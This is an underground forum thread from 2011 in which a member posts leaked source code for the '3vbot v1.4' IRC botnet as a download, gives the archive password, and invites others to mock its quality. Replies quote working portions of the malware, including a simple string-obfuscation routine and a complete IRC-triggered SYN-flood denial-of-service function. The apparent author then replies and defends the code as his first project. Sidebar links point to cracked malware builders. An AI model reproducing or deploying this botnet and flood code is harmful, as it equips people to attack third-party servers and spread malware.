+ Reply to Thread
Page 1 of 4 123 ... LastLast
Results 1 to 10 of 35
Like Tree52Likes

Thread: 3vbot v1.4 source

  1. #1
    Senior Member
    Join Date
    Jan 2011
    Posts
    96

    3vbot v1.4 source

    WARNING: THIS IS THE MOST ABSOLUTE WORST PIECE OF SHIT EVER CREATED!!

    This is a great example of how NOT to code.

    "HF's number #1 irc bot" - lol

    pass:
    Code:
    opensc.ws
    Attached Files Attached Files
    Last edited by zyklon; 18-12-2011 at 01:57. Reason: attached download

  2. #2
    Boss zyklon's Avatar
    Join Date
    Nov 2011
    Posts
    299
    Is this your leak? or was it leaked somewhere else first?
    Last edited by zyklon; 18-12-2011 at 01:55.

  3. #3
    Senior Member
    Join Date
    Jan 2011
    Posts
    96
    Quote Originally Posted by zyklon View Post
    Is this your leak? or was it leaked somewhere else first?
    someone sent me it, so I decided to post it and no it wasn't leaked somewhere else first
    cracksman, jejus_slave and zyklon like this.

  4. #4
    Senior Member cracksman's Avatar
    Join Date
    Dec 2006
    Location
    behind your little sister
    Posts
    1,611
    its fine to state your opinion (shitty), but can you explain why (for us non bot-savvy people [who don't know C]).
    Last edited by cracksman; 18-12-2011 at 02:11.
    Departure likes this.
    I Retired. stop asking me questions. you can find me on msn or ic0de.

  5. #5
    Senior Member Departure's Avatar
    Join Date
    May 2008
    Posts
    213
    I had a quick look throught it and didn't really see anything "Shitty" but like Cracksman I am not C coder and wouldn't know what you guys classify as "Shitty"
    Say What.....

  6. #6
    Senior Member
    Join Date
    Jan 2011
    Posts
    96
    Quote Originally Posted by cracksman View Post
    its fine to state your opinion (shitty), but can you explain why (for us non bot-savvy people [who don't know C]).
    well for one, absolutely no error handling was used when calling api's. If you know c/c++ or have any coding background, it should be pretty obvious how many errors, and horrible methods that were used, not to mention the ugly coding style/layout.
    Last edited by hecks; 18-12-2011 at 02:24.

  7. #7
    Senior Member LeFF's Avatar
    Join Date
    Mar 2011
    Posts
    409
    its fine to state your opinion (shitty), but can you explain why (for us non bot-savvy people [who don't know C])
    oh, lets take a look))) and by the way, it's not c, it's shitty C++...

    Code:
    fnIsWow64Process = (LPFN_ISWOW64PROCESS) GetProcAddress(GetModuleHandle("kernel32"),"IsWow64Process");
    fnIsWow64Process(GetCurrentProcess(), &WoW);
    always calling zero address at any OS before Windows XP SP2...

    Code:
    std::string decrypt(const char* ePtr) {
            int len = strlen(ePtr);
            char ret[128] = {0};
            strcpy(ret, ePtr);
            for (int i = 0; i < len; i++) {
                    ret[i] = ret[i] - 25;
            }
            return ret;
    }
    damn, what a strong encryption algo...

    Code:
    API::~API( void ) {
    	FreeLibrary(hKernel);
    	FreeLibrary(hAdvapi);
    	FreeLibrary(hWsock);
    	FreeLibrary(hInet);
    	FreeLibrary(hUrl);
    	FreeLibrary(hShell);
    	FreeLibrary(hUser32);
    	FreeLibrary(hPsApi);
    	FreeLibrary(hShlwapi);
    	return;
    }
    oh, that's funny... seems like author doesn't actually knows what he is doing... FreeLibrary on kernel32.dll is epic... and even return at the end of destructor is funny...

    Code:
    DWORD API::GetFileSize(string file) {
    	if (!API::fileExists(file))
    		return -1;
    	else {
    		API::LARGE_INTEGER n;
    		HANDLE hfile = API::CreateFileA(file.c_str(), GENERIC_READ, FILE_SHARE_WRITE, NULL, OPEN_EXISTING, NULL, NULL);
    		if (API::GetFileSizeEx(hfile, &n) != 0) {
    			return n.LowPart;
    		} else {
    			return -2;
    		}
    	}
    }
    author is releasing loaded dll, that she shouldn't do, and on the other hand author never closes opened files... dumbass... returning -2 (actually 0xFFFFFFFE) on error is funny too...
    Last edited by LeFF; 18-12-2011 at 02:43.
    cracksman and StaTiX like this.

  8. #8
    Retired Retired boss's Avatar
    Join Date
    Mar 1998
    Posts
    1,561
    it's copy-pasted to death, just look at IRC.CPP, in one function he uses stl functions when parsing some text, and in the next funtion he uses standard c functions like strtok, i bet he didn't even write a single function himself, just copy-pasted, changed variable names, functions names, added his own winapi wrapper (if it's even worth be called that)

    and look at the SSYN, made me chuckle a bit, it's not every day you see a SYN FLOOD, or well, a SUPER SYN FLOOD, using connect(), impressive

    and lol at the duped code


    Code:
    int IRC::CMDDDoSSYN(string ip, string port, int time) {
    	if (ip == "" || port == "") {
    		return(IRCSend(IRC_MSG, servers[currserver].channel, MSG_DDOS_ERRONEOUS));
    	}
    	int ssynDelay			=	100;
    	SOCKADDR_IN			    SockAddr;
    	SOCKET					sock[SUPERSYN_SOCKETS];
       	IN_ADDR					iaddr;
    	LPHOSTENT lpHostEntry	= NULL;
     	DWORD mode = 1;
    	int c = 0, i = 0;
    	shouldDDoS = true;
    
    	unsigned long targetIP = api->inet_addr(ip.c_str());
    	unsigned short targetPort = (unsigned short)atoi(port.c_str());
    
    	if (targetIP == INADDR_NONE) {
    		/*hostent *pHE = api->gethostbyname(targetIP);
    		if (pHE == 0)
    			return INADDR_NONE;
    		IP = *((unsigned long *)pHE->h_addr_list[0]);*/
    		IRCSend(IRC_MSG, servers[currserver].channel, MSG_DDOS_NETFAIL);
    		return 0;
    	}
    
    	memset(&SockAddr, 0, sizeof(SockAddr));
    	SockAddr.sin_family =	AF_INET;
       	SockAddr.sin_port = api->htons(targetPort);
    	iaddr.s_addr = targetIP;
    	SockAddr.sin_addr = iaddr; //ip addy
    	
    	char buff[1024] = "\0";
    	api->wsprintf(buff, "%s IP %s Port %s for %d seconds.", MSG_DDOS_DDOSING, ip.c_str(), port.c_str(), time);
    	IRCSend(IRC_MSG, servers[currserver].channel, buff);
    	DWORD begin = api->GetTickCount();
    	if (time > 0) {
    		while (((api->GetTickCount() - begin) / 1000) < time && shouldDDoS) {
    			for (c = 0; c < SUPERSYN_SOCKETS; c++) {
    				sock[c] = api->socket(AF_INET, SOCK_STREAM, 0);
       				if (sock[c] == INVALID_SOCKET)
          					continue;
    				api->ioctlsocket(sock[c], FIONBIO, &mode);
    			}
    			for (c = 0; c < SUPERSYN_SOCKETS; c++)
      				api->connect(sock[c], (PSOCKADDR) &SockAddr, sizeof(SockAddr));
          			api->Sleep(ssynDelay);
    			for (c = 0; c < SUPERSYN_SOCKETS; c++)
    				api->closesocket(sock[c]); //close sockets
    		}
    	} else if (time == 0) {
    		while (shouldDDoS) {
    			for (c = 0; c < SUPERSYN_SOCKETS; c++) {
    				sock[c] = api->socket(AF_INET, SOCK_STREAM, 0);
       				if (sock[c] == INVALID_SOCKET)
          					continue;
    				api->ioctlsocket(sock[c], FIONBIO, &mode);
    			}
    			for (c = 0; c < SUPERSYN_SOCKETS; c++)
      				api->connect(sock[c], (PSOCKADDR) &SockAddr, sizeof(SockAddr));
          			api->Sleep(ssynDelay);
    			for (c = 0; c < SUPERSYN_SOCKETS; c++)
    				api->closesocket(sock[c]); //close sockets
    		}
    	}
    	return(shouldDDoS ? IRCSend(IRC_MSG, servers[currserver].channel, MSG_DDOS_COMPLETE) : 0);
    }
    cracksman, hecks, StaTiX and 1 others like this.

  9. #9
    Senior Member Departure's Avatar
    Join Date
    May 2008
    Posts
    213
    K I didn't see them But I noticed the comment on Returning -2 as the Return data type is a Dword, I actually dont see anything wrong with that and allows for more than just true or false(1 or 0) so $FFFFFFFE and $FFFFFFFD based on -1 or -2 return, yeah it is different and I can't say I have seen what should be a basic boolean returned as a Dword. And assuming the variable hKernel is actually the handle to the Kernel32.dll is also very strange or maybe he knows some we don't?
    Say What.....

  10. #10
    Junior Member
    Join Date
    Jul 2010
    Posts
    3
    @ _v0id,

    I am really not going to take time to value your existence by commenting on the bold red sentence of yours. You were always obsessed with me, working against me and trashing me even when I didn't know who you are, even when we hadn't even talked once.

    @ everybody else,

    Thanks for the input, no matter its nature or intent. I am not going to start making excuses about any of your findings, there's no reason to.. For a couple of reasons. For one, there's no reason to fanatically defend it. Simply, it served its purpose, there's nothing to gain from defending it. And secondly, this was actually my first project. Well, the first project that I actually sticked to for months.

    Regarding the accusations on the C/P IRC.CPP, I was kinda startled. It's actually not C/P. Really, I mean it. The reason for the different techniques is because simply at the time I did not have solid knowledge and techniques, and since I jumped directly into C++ and did not go with C first (huge mistake from what I later found out), I ended up mixing them big time. There are mistakes in the code. Some, horrible. I've heard feedback from elsewhere too. And there're probably more where that came from. I'm not ashamed of that. I took the time to learn from it, and I still do by reading feedback from anyone who reviews the code.

    That's what I had to say.. I hope it clarifies a few things.
    cracksman likes this.

Thread Information

Users Browsing this Thread

There are currently 1 users browsing this thread. (0 members and 1 guests)

Similar Threads

  1. Replies: 26
    Last Post: 3 Weeks Ago, 17:48
  2. 3vBot scaming me
    By interpool in forum Scam Reports
    Replies: 13
    Last Post: 13-11-2011, 21:51
  3. [Delphi] 3vBot Builder
    By gt8 in forum Cracked Malware
    Replies: 24
    Last Post: 11-09-2011, 13:08
  4. Replies: 19
    Last Post: 21-07-2011, 06:12
  5. Cracked 3vBot 1.4 Builder
    By fear in forum Malware Samples and Information
    Replies: 16
    Last Post: 21-07-2011, 05:06

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts

Search Engine Friendly URLs by vBSEO 3.6.0 ©2011, Crawlability, Inc.